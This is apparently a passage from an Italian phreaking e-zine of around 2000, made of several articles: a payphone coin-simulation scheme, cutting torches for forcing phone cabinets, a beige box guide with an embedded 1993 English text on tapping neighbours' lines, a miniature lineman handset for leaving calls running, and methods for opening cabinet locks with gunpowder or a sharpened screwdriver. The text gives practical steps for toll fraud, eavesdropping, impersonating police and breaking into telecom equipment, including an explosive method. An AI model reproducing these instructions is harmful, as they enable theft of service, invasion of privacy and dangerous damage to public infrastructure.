lamer come me tutte quelle cose strabelle che lui solo conosce :) Rigor Mortem degli SPP: anche lui per essere una persona incredibilmente disponibile e per tantissimi altri motivi +Xoanon: che sti giorni sembra essere una persona seria, fiduciosa....Sarà forse per il ritorno di Anninaaaaaaaaaaaa??? :) Ghibly: perchè è l'unica donna che riesce a gestire decine di bot senza sapere un tubo di unix-linux e related :) Olga: che ultimamente è morta ma che resta il miglior revrser donna al mondo.. E forse l'unica in grado di tener testa al più grande reverser di tutti tempi. cioè Killexx......Che anche se non lo sento da millenni continuerò a stimare per sempre, sei grande kill. Ringrazio in fine tutta quanta la crew degli SPP per avermi letteralmente REGALATO un dominio di primo livello con tanto di hosting......Grazie SPP. E visto che per una volta non vado di fretta saluto: Andrea M. (anche se un giorno per colpa mia qualcuno ti licenzierà :), cod, AndreaGeddon, Ritz, nu, cek, syscalo, [alt255], ja lai, Annalisa, Romano M. (sei un grande), Marco C. e Claudio R. (grazie moltissime), Il_Bieco, Spinone, Along3x, Alor e tutti gli altri che quando dei fare i ringraziamenti non ti vengono mai in mente :)......Ciauzzzzzzzzzzzzz -->Un Fuck:<-- Al palermitano maledetto (non che abbia nulla contro i palermitani sia inteso) che telefona alla mia pupa....Ma che vuoiiiiiii sei un vecchio.....Pensa alle vecchie e lascia la mia piccola (si fa per dire) 'cesca..........Fuck fuck fuck e strafuck.....Non puoi fare qualche altro numero ad cazzum? Col culo che ti ritrovi magari becchi quello di Anna Falchi che ti assicuro è meglio della mia pupa..........Fuckkkkkkkkkkkkkkkkkkkkkkkk [------ Addendum 07-04-2000 ------] Salve a tutti.......Dovrei fare delle correzioni al tutorial visto che Xoanon mi ha seriamente minacciato :))))) Ho sbagliato a scrivere quelle cose sul suo conto.......Xoanon è sempre stata una persona seria (ermmm...) e sempre fiduciosissima nei confronti di noi leim :).....L'Annina con cui sta è nuova, e per chi lo avesse pensato non è quella di prima dal momento che quella sta col metalmeccanico e non c'entra niente :) e con questa mancanza mi sono precluso l'invito al suo matrimonio. :) Oltretutto ho commesso un errore a dir poco madornale dicendo che Kill3xx fosse il più grande reverser del mondo....Non è vero, mi sono sbagliato, avevo invertito il suo nome con quello di Xoa....È lui infatti il più grande reverser del mondo.... Eccovi una sua frase: Qui si revisa il reato di bestemmia, pubblica ingiuria e sostituzione di persona. Il più grande reverser di tutti i tempi son io. Ti diffido dal riavvicinare il mio nome a cotal leim. Anzi no, non minimizziamo, di tutto l'universo conosciuto e sconosciuto Non c'è (e non ci sarà mai) reverser più grande di lui.......È unico ed inimitabile, oltre che onnipotente ed imperituro :)...E con questo credo di 3 aver finito, ciauzzzzzzz.....Ermmm xoa, adesso me la puoi togliere la pistola da dietro la schiena! :) [------ Fine Addendum ------] -->Disclaimer<--- Vorrei ricordare che il software va comprato e non rubato, dovete registrare il vostro prodotto dopo il periodo di valutazione. Non mi ritengo responsabile per eventuali danni causati al vostro computer determinati dall'uso improprio di questo tutorial. Questo documento è stato scritto per invogliare il consumatore a registrare legalmente i propri programmi, e non a fargli fare uso dei tantissimi file crack presenti in rete, infatti tale documento aiuta a comprendere lo sforzo immane che ogni singolo programmatore ha dovuto portare avanti per fornire ai rispettivi consumatori i migliori prodotti possibili. Noi reversiamo al solo scopo informativo e di miglioramento del linguaggio Assembly. Capitoooooooo????? Bhè credo di si ;)))) ---QueQuero--- ##################################################################### ####### PPPP H H RRRR EEEEE AAA K KK III N N GGGG ####### ####### P P H H R R E A A K K III NN N G ####### ####### PPPP HHHHH RRRR EEE AAAAA KK III N N N G GG ####### ####### P H H R R E A A K K III N NN G G ####### ####### P H H R RR EEEEE A A K KK III N N GGGG ####### ##################################################################### -=!!!|-Pr0gEtt0 pSc-|!!!=- Autore: DieseL Visto che sono in molti a chiedermi dettagli sulla mia "idea" ho deciso di scrivere questo file battezzando il progetto (sempre se qualcuno e' cosi' disperato da seguirmi ) "Progetto simulazione coins" ovvero "Psc" ( sembra la sigla del "Partito dei Socialisti Cattolici" [ io sono completamente estraneo alla politica Italiana, se esiste che nessuno si offenda]). Ora passiamo alle cose serie. Fino ad ora tutto quello che scrivero' e' puramente teorico e basato su mie intuizioni. Sono sicuro che tutti conoscono i coin-up da bar. Non sono sicuro che tutti sanno come funzionano, ma chi ne conosce il funzionamento sa che se se ne trova uno con lo sportello aperto è possibile simulare l'inserimento del gettone semplicemente premendo una molletta. Perché la molletta fa credere alla macchina da bar che è stata inserita una moneta? Semplice, perche' quando viene inserito un gettone, prima di scendere nella "cassaforte", questo schiaccia la molletta. Pero' prima di schiacciare la molletta la moneta viene esaminata, pesata e bla bla bla. Questo non ci interessa, a noi importa che la molletta ha questo gravoso incarico, cioe' informare che e' stata inserita una moneta. Ma la molla come svolge il suo lavoro? Ahime', niente di eccezionale è solo un "pulsante", cioe' un interruttore elettrico. Ora vi state chiedendo "Ma che ca... c'entra con le telefonate a gratis?", e anche se non ve lo chiedete io ve lo dico lo stesso. Be, chissa' se anche le cabine del telefono funzionano cosi'?( Secondo me e' possibilissimo ) Inoltre sulle monete non ci sono numeri di serie ( fino ad ora ) che la rete intelligente telecom puo' trattare. Quindi se il sistema e' questo, basterebbe aggiungere un interruttore che bypassi il precedente. Pero' mi e' stato obiettato da Blum che sarebbe necessario bucare il rotor per piazzare l'interruttore. Ma se invece di usare un interruttore normale usassi un interruttore comandato a distanza il problema non si pone piu'. Quindi ricapitoliamo: *Io inserisco una moneta. *La cabina esamina la moneta. *In base all'esame della moneta, essa cade in diversi condotti. *Alcuni condotti portano alla "camera d'attesa", una sola porta allo sportellino di ritiro moneta. *Prima di arrivare alla "camera d'attesa", la moneta schiaccia solo una di una serie di mollette. *L'importo viene visualizzato sul display. Alla fine della conversazione le monete consumato scendono nella cassaforte e il resto se permettete me lo porto a casa. ****** ******** /_____ Monetina ******** \ ****** ___________ | | | | | | \|/ | | | __________| | |\ | | \ m | Cavi di controllo | \ o | | \ l | | / l | __________| / a | | | | | | | | | |___________| ****** ******** /_____ Monetina ******** \ ****** ___________ | | | | | | \|/ | | | __________| | __|___ |\ | | int. | | \ m | Cavi di controllo | | | \ o | | sec. | | \ l | |______| | / l | ____|_____| / a | | | | | | | | | |___________| L'interruttore secondario ( fino ad ora ) non e' altro che un semplice transistor che funge da rele', innescato dalla "corrente indotta" indotta in una bobina.( psc1.gif ) Chi capisce qualcosa di elettronica notera' che mancano diodi e condensatatori (forse anche il simbolo del transistor e sbagliato), ma per il momento l'importante e' afferrare in cosa consiste l'interruttore, perché e' di vitale importanza sapere quale dovra' essere la frequenza della corrente circolante nella bobina I e quella indotta nella bobina II ,affinche' non ci siano interferenze con il sistema della cabina. Questa incognita mi porta a un bivio con un progetto temporizzato da un economico n555 che puo' coprire una vasta gamma di frequenze e dal costo super contenuto ma che pecca di precisione alle alte frequenze, e un'altro temporizzato da un quarzo, preciso come un orologio svizzero alle alte frequenze, dal costo poco piu' superiore ma che copre bande ben definite. L'unica consolazione e' che con un po' di bravura il ricevitore puo' essere costruito su una basetta di 2 cm2 o al massimo di 3 cm2 (molto facile da nascondere). Quindi i punti salienti sono i seguenti 1) Il sistema di conteggio monete e' uguale a quello sopra descritto? 2) Quali sono i fili da cortocircuitare o mettere a massa? 3) Un ipotetico telecomando su che frequenza dovrebbe lavorare per non interferire con la cabina e oltrepassare lo "schermo" costituito dall'involucro della cabina. 4) Come aprire la cabina senza lasciare traccia. 5) Dove nasconderlo per bene. (per me il IV punto non e' un problema visto che potrei usare la chiave) Elencati questi punti a voi decidere se l'idea e' valida e magari collaborare. Ps: il telecomando sara' magari come si vede in psc2.gif ######## #Update# ######## Guardando la foto con didascalia di una cabina aperta ho notato un bottone di test proprio alla fine del pozzetto di discriminazione delle monete... ######## #Update# ######## -3/1/2000- Quello che prima era una mia intuizione ora e' una conferma. Infatti un "amico" addetto ai lavori mi ha confermato la presenza di un interruttore meccanico. Per la precisione si tratta del piattino di una bilancia, che in base al peso misurato chiude uno di una serie di piu' contatti. Meditate gente, meditate! Anche se poi non si tratta di un vero e proprio interruttore meccanico nulla vieta che il "sensore d'incasso" funzioni proprio come un interruttore visto che c'e' questo pulsante. Per qualunque cosa o anche solo per incoraggiarmi scrivete a <->diesel@freemail.it<-> Chiave Pgp -----BEGIN PGP PUBLIC KEY BLOCK----- Version: PGP 6.0.2 mQCNAzhINLQAAAEEAKKhEqKGxCwM8/IdpYbLQzWfPCcwo8wue7d2I/bGHswPB2cY rwNLCsugP6dLm0ougzjzFWrmao+q6FE19UDaNuraRSA7nWKxFk3g6F8wkgVVB/So EMguiloGdJy1EBDTCJLxB8SNPewAAGevoDKU2mJy/fgepD6JkBmRhbq5lkuVAAUR tBlJZW56byA8aWVuem9AZnJlZW1haWwuaXQ+iQCVAwUQOEg0tBmRhbq5lkuVAQGI IAP/cyPVV6zfCvu2aRxX/r46JX4mcqC6s5kRLcl8RHugRjUK3/zCyi5OayL59FwY U3jYliLStQr6FGOBtST/ElHaYAEALjUuHV8zizpJc7cyDuyTYln3fbCVj2qb0oOq GZGMm6mfZLKa0x/MjxLS01RdVNZmJ5BlRlnKl58TZ3J7l64= =c5iq -----END PGP PUBLIC KEY BLOCK----- Biez! ---DieseL--- -=!!!|-lA fIamMa 0sSidRikA-|!!!=- Autore: SiCkb0y Everybody is in the place, let's go! Salve a tutti, in questo articolo vorrei parlarvi di una cosa a mio parere piuttosto importante ma spesso sottovalutata dai phreakers: la fiamma ossi- drica. In particolare voglio analizzare due tipi, il cannello a gas butano e il cannello ossiacetilenico. Questi apparecchi, come avrete facilmente intuito, vengono usati per i brute forcing a centraline telefoniche e altro. Cannello a butano Sicuramente e' il tipo piu' diffuso, in quanto con 30k ce lo possiamo procu- rare in una qualsiasi ferramenta; e' l' ideale per 'lavoretti' semplici e veloci su plastica e lastre di metallo tenero e sottile. La fiamma raggiun- ge una temperatura di circa 1000 °C. La comodita' di questo strumento sta soprattutto nelle sue ridotte dimensioni e nel costo davvero esiguo; si può celare comodamente sotto un ampio giaccone, accanto al piede di porco :)). Lo svantaggio principale sta' proprio nella sua scarsa 'potenza', quindi scordatevi di sfondare una lastra di ferro o acciao con un cannello a buta- no. Essendo la fiamma di colore blu, e' praticamente invisibile al buio, e aiutera' la vostra mimetizzazione; se invece avete bisogno anche di una fonte di illuminazione bastera', prima di recarsi al lavoro, immergere la punta del cannello in una soluzione concentrata di acqua e sale. In commer- cio ci sono anche dei mini cannelli, da 50k che pero' servono davvero a poco; in compenso stanno comodamente in tasca, essendo appena piu' grandi di un accendino. Cannello ossiacetilenico Decisamente questo e' il mio preferito, nonostante l' abbia usato solo un paio di volte. L' acetilene (C2H2) e' un gas piuttosto pericoloso e non va assolutamente usato da principianti: se la bombola contenente il gas viene riscaldata a piu' di 50-60 °C, e' reale il rischio di esplosioni causate dalla polimerizzarione dell' acetilene, che possono avvenire anche a distanza di 24 ore. Un kit completo si compone di: - 2 bombole di gas (Ossigeno: ogiva bianca - Acetilene: ogiva arancione) - Riduttori di pressione (Ossigeno e Acetilene) - Accessori vari (Valvole di sicurezza, tubi gomma, raccordi rapidi di con- nessione, anelli stringitubo) - Cannello per saldatura e taglio. Come avrete capito il costo di tutta questa attrezzatura e' decisamente ele- vato, per un impianto medio-piccolo si aggira sul milione. Certemente le prestazioni sono stupende: la fiamma raggiunge e supera agevolmente i 3000°C, consentendo di trattare qualsiasi materiale. Una cosa molto 'carina' che si puo' fare e' il taglio ossigas: questo procedimento viene applicato a tutti i metalli di difficile lavorazione, come l' acciaio e la ghisa. Con la fiamma ossiacetilenica si riscalda il pezzo da trattare fino a farlo diventare di un colore rosso brillante (per ferro e acciaio), quindi con un getto di ossigeno puro il metallo viene tagliato con facilita'. E' piutto- sto difficile trovare in commercio kit portatili, che nel migliore dei casi pesano alcuni chili. Per questo e' necessaria una buona organizzazione e una certa esperienza. Un altro aspetto negativo e' che la fiamma a contatto con il metallo produce oltre ad un forte calore, anche una notevole illumi- nazione. L' aspetto positivo e' dato dal fatto che praticamente nula resi- ste all' acetilene :)). ---sIcKb0y--- -=!!!|-bEiGe b0x-|!!!=- Autore: dR`sP3nKy/gouranga La beige box è una box ancora possibile da utilizzare e facile da fare, non per niente è la più diffusa. Avete presente i cavetti che usate per connettervi alle centraline ?!? Bene. La beige box è costituita da un cavo telefonico e un telefono. Sintetizzo il testo sottostante, parlando del tipo più diffuso: Prendete un cavo telefonico, scarnatelo, escono due cavi, prendete i due centrali, scarnate anche questi e collegateci due coccodrillini medi, all'altra estremità comparirà un pin che dovrà essere collegato al telefono. Potete infine conettervi ad una centralina e sentire i discorsi altrui oppure parlare con vostra zia in Zaire, divertitevi a intervenire nelle conversazzioni fingendo interferenze, fingete di essere la polizia e farli credere che hanno il telefono sotto controllo. Ho allegato un testo che parla di appunto di beige box....., risale al 1993, vediamolo....... ĠÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸ ³ ³ ³ The Beige/Bud/Razz/etc... Box and The Brown Box ³ ³ By The White Ninja with thanks to Switchblade ³ ³ ³ ³ "A true patriot must always be ready to defend ³ ³ his people against his government!" ³ ³ ³ ³ Call The Ninja's Domicile at +1.615.370.8805 ³ ³ ³ ÔÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ3/4 The Beige Box is a very useful device that has gone by many different names in the past. Basically it is a line-man's handset. It allows you to, among other things, gain access to anyone's phone line and phreak all you want!!! The Phone Company ACTUALLY uses this technique to make calls when on the road... Note: Some of this may not work under ISDN. There are two main ways to build one of these and I will discuss them both. NOTE: The situations discribed in this file are hypothetical, and the main intent of this file is to provide information on telecommunications. This file will teach you about phone line voltages, conferencing of conversations, and how the phone company's test sets can and are used. I do not recommend that you try anything in this file on anyone's line other than your own; it could shorten your life in the free world... 1 -- The Quick Way. Get a standard phone cord and rip one plug off. Then strip the ripped end (Radio Shack sells a nice device for doing this.) and hook up 2 alligator clips, one to the green wire (called the tip wire) and one to the red wire (called the ring wire). Then plug a phone into the other end (This may require a male to male coupler.) and your ready to go!! 2 -- The Best Way Go to Radio Shack and pick up a bag full of Red, Green, Black, and Yellow alligator clips (comes with 8, you only need 4), a Telephone Network Interface Box (A little beige (haha) box with 8 screws and a telephone wire coming out of it.), and some wire. Pop out the 4 tabs on the sides of the box and put one end of each alligator clip through the holes (use one of each color). The clips don't fit perfectly so you'll have to squeeze them in. Wire the red clip to one of the screws on the red terminal, the green clip to one of the screws on the green terminal, and so on for the other 2 colors. Plug your phone in and thats it! -- Note -- You can also plug a modem into these! -=How to use=- -- Attacking a Neighbor's Line -- Well, go out to your neighbor's house and find the little gray Bell box on the side or back wall near the power box. This is the real network interface box, it should have a bell logo on it. Open this up and you will see 1 of 2 things depending on how old their house is. 1 -- Older houses You'll see 5 screws, like this: * * * * * Plug your clips into the screws on the right (or on the left if the guy has 2 lines). If you don't get a dial tone try switching the clips. 2 -- Newer houses You'll seen 8 screws, 4 for line one and 4 for line 2 (line 2 screws will have no wires connected to them if the guy doesn't have a second line). You will also see 2 phone plugs. You can plug your phone directly into a phone plug or hook up the clips to the corresponding screws. -- Attacking a Junction Box -- This box can also be hooked up to a telephone junction box or can (the gray boxes that stick out of the ground and hang from telephone poles)(DON'T HOOK YOUR CLIPS UP TO A POWER CAN!!!). Get a 7/16ths hex driver and open one of these up. You will see a mass of cables all hooked up to some white terminals or screw sets. Hook your clips up and experiment until you get a dial tone. -- What to do -- Well, you can make all the LDs, 700, 900, Blue Box, and hack calls you want!! They will all be traced/charged to the line you are hooked up to. You can also listen in on all calls made to/from the line, or disable the line by hooking the screw for the red clip and the screw for the green clip together. (This is the same as putting the call on hold...) At a neighbors house you can set up all sorts of features including remote call forwarding (Lots of phun!!!!). Also, if you made the box the 2nd way, and the guy has 2 lines or you are at a junction box, you can get 3-way by Brown Boxing!! You also may want to hook this box up to your own phone line... Take the phone plug and plug it into one of your wall jacks. By hooking the green and red clips together, you can put the calling party on hold; rubbing the clips together produces fake line noise or a "bad connection." Hooking up a multi-meter or a vol meter will give you more info, use the following chart: On hook = 50 VDC, if less than this, your line could be bugged... Ring = Jumps between 1 and 50 VDC... Off hook = 1-13 VDC, depends on the type and number of phones off the hook, this is useful if you want to know if someone is eavesdropping on our conversation... When you pulse dial you break the connection and reconnect quickly. If you press the hook switch the voltage will go up until you let go. If you let the voltage reach 50 volts you will be dissconnected. You can pulse dial by hand. All you have to do is repeatedly press the hook switch. However, it does take some practice to be able to dial well. This method can be used to defeat dail locks sometimes seen on phones in airports and the like... -=The Brown Box=- The Brown Box is a simple device that connects 2 lines to allow 3-way calling. First I will describe how to do this at your own home and then how to do it with the better Beige Box!!!!!! Go out and get a line splicer, the little box you plug into you wall jack to allow 2 phones to be hooked up to one plug. We will be using it in reverse, to allow 2 lines to be hooked up to one phone. Plug the male end (the one that is supposed to go to your wall jack) into the back of your phone. Then plug line 1 in and make a call. When the person answers, plug in line 2. You will hear a dial tone and either of you can dial!!!!! With the better Beige Box you need to wire the black terminal to the red terminal and the yellow terminal to the green terminal, making sure nothing shorts. Then, hook your clips up to line one and make a call. When the person picks up, hook your black clip to line 2 where you would normally put your red clip, and hook up the yellow where you would normally put the green. You'll get a dial tone. You can hook the terminals of more than one better Beige Box together to add more people to your call, but you will have to amplify the speech so that everyone can hear. ANARCHY IN '93!!!!! Ho copiato tutto il testo per rispettare l'autore, per non offenderlo. Come avete letto la beige box è la box più facile da costruire e finchè non si userà fibbra ottica o satellite o cose simili per communicare , si userà una semplice linea telefonica si potrà usare. Il file è stato creato il 7 gennaio 1993, quindi è piuttosto vecchiotto, che dite? Vuol dire che la beige box oltre a essere la box più usata dai preakers è anche quella che soppravive nel tempo più di altre (es. black box, blue box, green box, jolly box....) Ho sentito voci che dicevano che boxare con un blue box era ancora possibile, le voci sono state confermate da un mio amico che sostiene di aver boxato, quindi dò ragione a chi dice che boxare è ancora possibile, molto difficile ma possibile (e non solo verso i paesi del 3° mondo). Continuando a parlare di beige box, si può sostituire al telefono un bel pc portatile con modem e buttare dentro alla centralina per riprendere tutto un giorno successivo o fare cose simili..... Io mi conetto a centraline quasi quotidianamente, mi hanno preso solo una volta, non mi hanno fatto un cazzo, la denuncia non è mai stata compiuta quindi chiusa, io intanto avevo scaricato 3 giorni prima windows 2000 e lo avevo venduto. P.S. Non vi è mai venuto in mente che da una serratura si può risalire a una chiave, noooo? Ho preso una serratura di una centralina e la ho portata dal fabbro-arrotino di fiducia, in tre giorni ho avuto la mia bella chiave ed'ho aperto centraline che prima non riuscivo ad aprire. ---gouranga--- -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x Ringrazio moltissimo il mio carissimo amico gouranga per il suo artikolo; purtroppo non se la passa bene...Hei gouranga...io e gli altri di #phreak.it ti aspettiamo.Ciao gour e buona guarigione.Oi! dR`sP3nKy -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x -=!!!|-k0mE tI k0MbIn0 iL vIcIn0-|!!!- pArT tw0 Autore: sAnto-sAtanello ====== Disclaimer Poetico: Se telekoz vuoi hackerare questo articolo devi guardare! Ma se dai caramba ti fai sgamare me non devi scassare! Mi raccomando bimbo bello, usa il tuo cervello, e se farai del danno solo cazzi tuoi saranno! Disclaimer Normale: Fate attenzione a quel che fate, io vi do solo informazioni, come le usate poi, beh, quelli sono solo affaracci vostri. Quindi non venite a scassare me se fate dei danno okay??? ====== Ciao a tutti ragazzi/e, come butta la vita??? Finalmente sono riuscito a pubblicare le foto di quella famosa centralina di cui si parla in "AIS 1"! Allora, sar• brevissimo in questo articolo, perchŠ il tempo stringe! (non Š vero, e che non so cosa dire!!!) Ho tentato di mettere in evidenza tutte parti interessanti dell'aggeggio, da quelle meccaniche a quelle elettriche. Ho messo alcune foto delle due serrature, (quella finta e quella vera (vedi AIS1) ), ho messo una foto dei cardini per quel che pu• servire, le contattazioni, i tuboni di fili, e lo sportello. Ho messo anche le foto di due mini-centraline (dall'immagine 31 alla 36), che mandano il segnale telefonico alla singola utenza, ad esempio a una piccola serie di alloggi. Come noterete alcune foto sono state ritagliate o in alcuni punti sfocate; l'ho fatto per mascherare eventuali particolari che potessero far riconoscere la centralina e la sua ubicazione. Bene bene bene, siamo giunti alla fine, se ritenete manchi qualcosa fatemelo sapere, fatemi sapere anche se vi pare abbia detto delle minchiate assurde! Sono a vostra disposizione. Saluti da ---sAnto-sAtanello--- -=!!!|-iL LiNeMaN HAnDSeT ChE USan0 a lIlLiPuT-|!!!=- Autore: VELENO CONSUMO: Qualche milliampere (offerto gentilmente dalla Telecom) Cinque ore del mio tempo (scusate se è poco) Una confezione di liquirizie "Tabù" (pubblicità occulta) SALUTI: [Prck], ]Prck[, Gouranga (guarisci presto!), Sp3nky, Chiara (il bot più scemo del mondo), Grassopar, e tutti i ragazzi di #phreak.it TRANNE I LAMER!!! (Ce ne sono parecchi...) Ok raga! Inizio il mio articoletto con i ringraziamenti a tutto il team degli AiS per aver pubblicato il mio misero pensiero, e rivolgo un saluto speciale al caro dR'Oi alias Sp3nky per avermi dato la possibilità di collaborare con la e-zine... Benebenebene. Se siete arrivati fino qui nella lettura, avrete sicuramente letto pure il titolo. Spero *VIVAMENTE* che voi sappiate cosa sia un Lineman Handset...No? In breve, un lineman handset è un telefono a tutti gli effetti, con la differenza che ai suoi terminali, esso non porta una spina telefonica come il vostro telefono di casa, bensì "qualcosa" che ne permette il collegamento con linee telefoniche "di servizio"...(Mi sembra di sentire il vostro OOOHH! di meraviglia). Solitamente, quindi, al posto della spina con 3 contatti (quella del telefono "normale") si trovano due "coccodrilli" con cui il tecnico (naturalmente SOLO il tecnico è autorizzato ad usare questo giocattolo) della telecoma si collega alla linea di servizio dalla centralina ed esegue controlli, chiama in centrale, controlla il "loop", ecc. Ora, appare chiarissimo che possedere un attrezzo del genere (e credo che molti di voi lo abbiano già) è comodo, in quanto...beh, ci siamo capiti... Innanzi tutto, bisogna dire una cosa: solitamente, non conviene andare in giro con un telefono modello "SIRIO" attaccato ad un cavo con alla fine due coccodrilli neri e rossi... Anche un idiota si insospettirebbe a vedere un telefono "modificato" in quella maniera, credo, e visto che in giro c'è un sacco di gente che non si fa i cazzi suoi...meglio non rischiare. Il primo problema quindi è quello di mimetizzare il telefono, facendolo sembrare qualcos'altro... Il mio personale L/H (lineman handset) è racchiuso in una robusta scatoletta di metallo, recante all'esterno la presa del telefono, il pulsante per riagganciare e DUE jack femmine, cui collegare una normale cuffia stereofonica dotata di microfono (il microfono che si trova in dotazione alle cuffie normali però non è adatto). I pulsanti per comporre sono in grigio e assolutamente anonimi. Chiedete le fotografie a Sp3nky!!! Il problema che si pone successivamente, è quello di rendere ancora più piccolo il dispositivo... Lunghe notti insonni mi hanno condotto alla creazione del Lineman Handset che usano a Lilliput! Ok raga...Date un'occhiata alla foto che ho allegato... SPETTACOLARE! (Scusate se mi auto-glorifico ma quando ci vuole ci vuole...) Per farvi veramente capire le dimensioni, ho messo vicino al dispositivo un tappo di BIC nera...Notate! E non è finita qui...le dimensioni si possono ridurre ancora di più una volta saldato tutto per bene (magari su una "basetta" di vetronite). Bene...Dopo essermi guadagnato la vostra ammirazione, fornisco gli ingredienti della ricetta... Occorrono: -1 condensatore da 2,2 microfarad -1 condensatore da 0.1 microfarad -1 resistenza da 390 ohm (tolleranza 1%) -1 resistenza da 100 ohm (tolleranza 1%) Il costo dell'operazione è di ben 1000 £!!! Contenti? Allora, mettiamoci all'opera; il circuito è riportato nel disegno che ho allegato all'articolo, ed è estremamente semplice... Se siete riusciti a realizzare il circuitino di prima ( ragazzuoli, è facile!) ... Avete davanti a voi un TELEFONO!!! Si, davvero. Quello che avete dinanzi è un telefono molto rudimentale ma anche MOLTO PICCOLO, che potrete utilizzare per il vostro personale divertimento... Allora, avete davanti il circuito che vi ho disegnato? Bene. La linea telefonica e l'eventuale microfono vanno collegato tra A e B...Il ricevitore invece si monta tra B e C... Dove si possono trovare il microfono ed il ricevitore? Ma via...Non devo certo dirvelo io, ce ne sono parecchi in giro: magari un vecchio telefono o una cornetta "abbandonata" possono essere utili. Se potete, montate ricevitore e microfono su una cuffia per ascoltare la musica o ancora meglio su una cuffia per PC, dotata anche di microfono... Non si noterà la differenza tra una cuffia normale ed una modificata. Questo è tutto. Purtroppo, un attrezzo così piccolo ha degli inconvenienti, logicamente, ma essi sono facilmente risolvibili... Per comporre il numero è necessario disporre di un walkman. Con il CoolEdit o roba simile, generate i toni relativi ai numeri che desiderate chiamare e incideteli su una audiocassetta, avendo cura di spaziarli di qualche secondo l'uno dall'altro... Una volta collegato il Lineman che vi siete costruiti alla linea telefonica, collegate ad A e B pure l'uscita del walkman regolando il volume su una posizione intermedia. Quando avete la linea, mandate in PLAY la cassetta è il walkman vi comporrà il numero! (La qualità della registrazione è importante ma non fondamentale: ho provato con una audiocassetta un pò rovinata e tutto ha funzionato alla perfezione). A questo punto il walkman non serve più, fino a quando non dovrete comporre un altro numero... La comodità del telefono che vi ho mostrato, però, risiede nel fatto che anche se staccate cuffia e microfono il telefono non riattacca, quindi voi potrete benissimo andarvene dopo aver composto un numero (per esempio quello del telefonino della vostra donna che CASUALMENTE ha la tariffa AUTORICARICA 250) e lasciare che gli scatti (e l'accredito) fluiscano per un bel pò di tempo... BUON DIVERTIMENTO E OCCHIO A NON FARE NULLA DI ILLEGALE!!! P.S. TUTTO ciò che è scritto in questo articolo è stato testato dal sottoscritto ed è perfettamente funzionante; vi assicuro che il telefono microscopico funziona *BENE* ed il collegamento con il walkman va a meraviglia... P.P.S. Se avete materiale *NUOVO* che non riuscite a capire o che non vi è chiaro, se avete documenti *ORIGINALI* riguardo il sistema telefonico, se avete FOTOGRAFIE interessanti o schemi di circuiti,se avete trovato le specifiche del CCITT7, postatemi qualsiasi cosa su: buzzicon3@libero.it Oppure mandate tutto all'amico sp3nky: sp3nky@freemail.it Mi piacerebbe avere le vostre impressioni, i vostri pareri e le vostre critiche...sempre che ce ne siano!!! ---VELENO--- -=!!!|-sErrAtuRe dEllE cAbInE-|!!!=- Autore: C(h)e Questo aritcolo si può considerare in diversi modi....può essere un articolo base per i principianti o un articolo per quelli che di phreack vero e proprio ne sanno sicuramente + di me (e non ci vuole tanto). In questo articolo parlerò di come aprire le serrature delle centraline telefoniche.... lo scrivo perkè ho notato che nelle guide (almeno quelle in italiano) l'apertura delle centrline viene sottovalutata e quasi sempre ricondotta ad un semplice uso della fiamma ossidrica o della polvere da sparo. Eppure non è piacevole lasciare in una centralina dei buchi anke un po' bruciacchiati in prossimita delle ex-serrature, soprattutto se si vuol fare qualkosa in segretezza..... a me è successo e ho dovuto scovare metodi più "soft" (e anke meno costosi, cosa che io personalmente, non disprezzo:)... ve li descrivo... 1) Questo è il metodo descritto in tante guide di phreak... lo inserisco solo perkè magari qualke lettore non lo conosce (?) e quindi.... è un metodo "relaivamente" semplice. Consiste nel fare con del cartone una scatola spartana al cui interno verrà collocata polvere da sparo (si può prendere dai petardi o fabbricarla... in quest'ultima ipotesi, io non ne sono esperto e vi rimando al My Personal Cookbook di Avatar666) e una miccia, attacrlo con dello scotch all'esterno della serratura, avviare la miccia e scapare.... la plastica della centralina dovrebbe sciogliersi e voi aprireste comodamente la centralina infilando nel buko un cacciavite.... In alternativa alla polvere da sparo si può usare la fiamma ossidrica (costa dalle 40 alle 50 carte) e fare il buko con essa... 2) Da questo punto passiamo a fare le tecniche "made in me"..:) IMPORTANTE PREMESSA: IO QUESTA ROBA CHE STO PER SCRIVERE NON L'HO SCOPIAZZATA DA NESSUNA PARTE, PROBABILMENTE QUALKUN'ALTRO L'AVEVA GIA SCRITTA, MI SKUSO CON ESSI E NON MANDATEMI INUTILI INKAZZATURE PER "COPIAZZATURA"... Dopo questa pikkola ma doverosa premessa, posso iniziare.... la I tecnica consiste nel forcing vero e proprio, il classico: il piede di porko. No, non sono imbecille... almeno l'80% di voi mi sta mandando a cagare dicendo "bella scoperta".... Fidatevi.... allora.... Naturalmente non intendo che prendiate un piede di porko di 1 mt, scardiniate lo sportellino e al posto di lasciare solo un bukino, ci levate direttamente lo sportello... OCCORRENTE: - un cacciavite lungo, grosso e possibilmente vekkio (non quello da 1 milione nuovo perkè va modellato allo scopo..;) - un qualkosa con cun "appuntire" (anzi, far si che la punta diventi a "spigolo", in pratica affilare i cacciavite in punta... capite poi con un mio disegnino..) Ok.. avete l'occorrente, vi spiego innanzi tutto come modellare il cacciavite e perkè.... Il Xchè è presto spiegato... le fessure in cui un cacciavite normale si può infilare per far leva sono poke, così aumentano tantissimo... ecco come fare: prendete la vostra mola (o cos'altro avete scelto) e iniziate a "grattare" il cacciavitesulla punta dandogli un'inclinazione maggiore da entrambi i lati... ecco i disegnini prima e dopo il lavoro: _ / \ /\ | | || | | || So che sembrano un'altra cosa ma... accontentatevi..:) Bene.. ora avete il vostro bel cacciavite-porkoso e vi dirigete verso una centralina... prima di continuare, dovete sapere come sono fatti gli sportelli delle centraline.... solitamente nelle centraline di media grandezza sono 4 concatenati l'uno all'altro in modo che non si possano totalmente aprire singolarmente (tranne quello + alto)... in +, le serraure hanno una chiusura al centro, una in alto e una in basso, tutte comandate da quella centrale.... ok, allora: voi prendete il cacciavite e lo infilate nella fessura in alto (che è un po+ grande di quelle di lato)... a questo punto spostate il cacciavite in modo da farlo arrivare allaparte superiore a destra dello sportello. In questo punto dovrebbe esserci la prima chiusura, quindi voi iniziate a 